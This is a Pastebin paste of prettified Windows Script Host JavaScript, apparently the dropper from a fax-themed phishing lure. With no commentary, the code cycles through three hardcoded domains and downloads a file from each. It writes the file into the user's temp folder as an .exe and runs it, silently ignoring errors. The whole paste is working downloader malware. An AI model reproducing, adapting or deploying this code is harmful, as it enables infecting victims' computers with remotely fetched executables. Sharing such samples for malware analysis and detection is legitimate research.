Advertisement
gotgameg

fax-bait-1-prettified

Nov 5th, 2015
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. var b = "pdeluxedesign.com monarchexcess2.com cjet.com.br".split(" ");
  2. var ws = WScript.CreateObject("WScript.Shell");
  3. var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "231789";
  4. var xo = WScript.CreateObject("MSXML2.XMLHTTP");
  5. var xa = WScript.CreateObject("ADODB.Stream");
  6. var ld = 0;
  7. for(var n = 1; n <= 3; n++) {
  8. for(var i = ld; i < b.length; i++) {
  9. var dn = 0;
  10. try {
  11. xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=338283" + n, false);
  12. xo.send();
  13. if(xo.status == 200) {
  14. xa.open();
  15. xa.type = 1;
  16. xa.write(xo.responseBody);
  17. if(xa.size > 1000) {
  18. dn = 1;
  19. xa.position = 0;
  20. xa.saveToFile(fn + n + ".exe", 2);
  21. try {
  22. ws.Run(fn + n + ".exe", 1, 0);
  23. } catch(er) {
  24.  
  25. }
  26. ;
  27. }
  28. ;
  29. xa.close();
  30. }
  31. ;
  32. if(dn == 1) {
  33. ld = i;
  34. break;
  35. }
  36. ;
  37. } catch(er) {
  38.  
  39. }
  40. ;
  41. }
  42. ;
  43. }
  44. ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement